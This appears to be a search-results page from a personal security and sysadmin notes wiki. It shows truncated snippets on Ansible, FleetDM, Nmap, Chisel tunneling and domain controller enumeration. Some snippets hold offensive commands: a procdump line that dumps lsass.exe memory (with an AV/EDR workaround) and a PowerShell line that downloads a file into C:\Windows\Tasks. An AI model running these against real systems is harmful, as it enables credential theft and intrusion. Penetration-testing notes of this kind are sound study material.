Search Results

Example 1: Nmap script scan with categories Categories https://nmap.org/book/nse-usage.html#nse-categories auth broadcast brute default discovery dos exploit external fuzzer intrusive malware safe version vuln # Scan UDP/161 with all...

Security Considerations Reverse Tunneling This will require you to establish a SSH connection from the foothold back to your attack box. You want to mitigate any potential for this authentication to be used against you Public Key Authentication Say you have a ...

PowerShell .NET Reflection [System.Net.WebClient]::new().DownLoadFile('http://somesite.com/file.txt', 'C:\Windows\Tasks\file.txt') Newer version of PS (v5+) that support calling the ::new() constructor (New-Object System.Net.WebClient).DownLoadFile('http:/...

Post-Compromise on Target Lsass Process Dump Sysinternals ProcDump Download ProcDump here # Dump the in-memory data from the process procdump.exe -accepteula -ma lsass.exe out.dmp # If blocked by AV or EDR, try passing the process ID procdump.exe -acc...

Linux User Scope Set this line in ~/.inputrc set bell-style none Then, run this command: bind -f ~/.inputrc System Wide Set this line in /etc/inputrc set bell-style none Then, run this command: bind -f /etc/inputrc Vim - User Scope Add this line to ~/.vi...

Defining the Inventory The inventory is everything when it comes to Ansible. Your inventory is your set of hosts to be managed by Ansible. It could be a handful of hosts to a few hundred hosts. The default location for global Ansible configurations is ...

Group Variables Back on Defining the Inventory, you may remember that we broke the inventory up into groups. Groups are a convenient way to break hosts up into units like: Operating system Region Category Using the operating system grouping system, you could...

Configuring Ansible Copy the global config to my home directory. That way, I'll keep my Ansible environment how I like it. cp /etc/ansible/ansible.cfg ~/.ansible.cfg # Create a directory to store my inventory mkdir ~/.ansible # Create a file to use fo...

Use Case In this scenario the following is true: You have an Ansible server in AWS You have AWS EC2 instances you'd like to manage as inventory Define a Secrets Naming Scheme You'll want your Ansible server to be able to hit the AWS Secrets Manager ...

Usage Requires a copy of the Chisel binary on: The target host The attacker's host Download from the Releases Page Bash Function to Download Chisel Binaries I've added this function to my ~/.zshrc file so that I can just invoke the function at any ...

Click here to view this diagram in a new tab

General Information portmapper and rpcbind run on TCP 111 rpcbind maps RPC services to their listening ports RPC processes notify rpcbind of the following when they start: Ports they're listening on RPC program numbers they expect to serve A clie...

Official Documentation https://fleetdm.com/docs/deploy/reference-architectures#infrastructure-dependencies Create Debian Host apt update && apt upgrade -y && apt install -y sudo gnupg net-tools dnsutils binutils git curl Install required packages In...

Other Install Options Of course, the main focus of this page is to demonstrate the convenience of Ansible with respect to pushing and installing software to a batch of hosts. You don't have to use Ansible to install Fleet DM Osquery agents on your endpoints! ...

Set API Context SSH into FleetDM management server Set the API address: fleetctl config set --address https://fleetdm.home.lab:8080 My TLS certificate is self-signed, so I will skip verification: fleetctl config set --tls-skip-verify true Login to the AP...

Click here to see this diagram in a new tab

When to Use You'll know when you've found a domain controller, because it will have several ports open that clearly distinguish it: PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn ...

Details Enum4linux is a tool for enumerating information from Windows and Samba systems. It attempts to offer similar functionality to enum.exe formerly available from www.bindview.com. It is written in PERL and is basically a wrapper around the Samba tool...